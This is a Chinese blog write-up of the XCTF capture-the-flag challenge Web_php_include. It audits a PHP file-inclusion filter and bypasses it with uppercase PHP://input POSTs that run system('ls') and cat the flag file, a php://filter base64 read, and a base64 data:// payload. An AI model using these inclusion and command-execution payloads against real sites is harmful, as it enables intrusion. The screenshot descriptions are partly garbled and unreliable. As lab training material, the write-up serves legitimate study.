




攻防世界之Web_php_include

原创

金帛  于 2022-02-16 22:56:21 发布  456  收藏

分类专栏: [攻防世界之WEB](#) 文章标签: [web安全 php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/l2872253606/article/details/122973068>

版权



[攻防世界之WEB 专栏收录该内容](#)

7 篇文章 0 订阅

订阅专栏

打开连接, 是一段PHP代码, 审计一下

```
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
```

CSDN @金帛

strstr()函数就是用于检查字符串中是否包涵另一个字符串, 区分大小写哦

[PHP strstr\(\) 函数 | 菜鸟教程 \(runoob.com\)](#)

str_replace()函数就是用来替换字符串中指定字符串的, 也区分大小写哦

[PHP str_replace\(\) 函数 | 菜鸟教程 \(runoob.com\)](#)

代码的意思就是将变量page里头的php://删掉, 但是不能将PHP://删掉, 所以可以用大写法绕过strstr函数

法一 **PHP流**

根据代码构建 **?page=php://input**

用post传 `<?php system('ls'); ?>`

使用burpsuite进行操作

The screenshot displays the Burp Suite Professional interface. The top menu bar includes Dashboard, Target, Proxy, Intruder, Repeater, Sequencer, Decoder, Comparer, Logger, Extender, Project options, User options, and Learn. The main window is divided into three panes: Request, Response, and Inspector. The Request pane shows a POST request to `http://111.200.241.244:51649/?page=PHP://input HTTP/1.1` with a payload of `<?php system('ls'); ?>`. The Response pane shows the server's response, which includes a directory listing of files: `fl4gisish3r3.php`, `index.php`, and `phpinfo.php`. The Inspector pane on the right shows the request and response headers and cookies.

可以看见响应包里有三个文件php，其中一个含有flag

再传 `<?php system('cat fl4gisish3r3.php'); ?>`

The screenshot shows the Burp Suite interface. The 'Request' tab is active, displaying a POST request to `/?page=Php://input HTTP/1.1`. The 'Response' tab shows an HTML response with a search bar and a search button. A blue arrow points to the search bar, which contains the text 'S 中 *'. Below the search bar, there is a search input field with '0 matches' and a search button.

就发现flag啦

还可以通过PHP流filter来查看含有flag的文件

构造 `?page=Php://filter/convert.base64-encode/resource=fl4gisisish3r3.php`

The screenshot shows a web browser displaying the source code of a PHP script. The script includes a search function and a search button. The search bar contains the text 'S 中 *'. Below the search bar, there is a search input field with '0 matches' and a search button.

```

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
PD9waHAKJGZsYWw9ImN0Zns4NzZhNWZjYS05NmM2LTRjYmQtOTA3NS00NmYwYzg5NDc1ZDJ9IjsKPz4K

```

CSDN @金 鼎

将得到的代码进行base64解码即可拿到flag

法二 `date://伪协议执行命令`

构建 `?page=data://text/plain;base64,xxx`

xxx为想要执行的命令的base64编码,

比如想要执行 `<?php system('ls'); ?>`

则应该构建的伪协议为

?page=data://text/plain;base64,IDw/cGhwIHN5c3RlbSgmbHMnKTsgPz4=



```
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
fl4gisisish3r3.php index.php phpinfo.php
```

CSDN @金 昂

接着跟法一的操作就OK了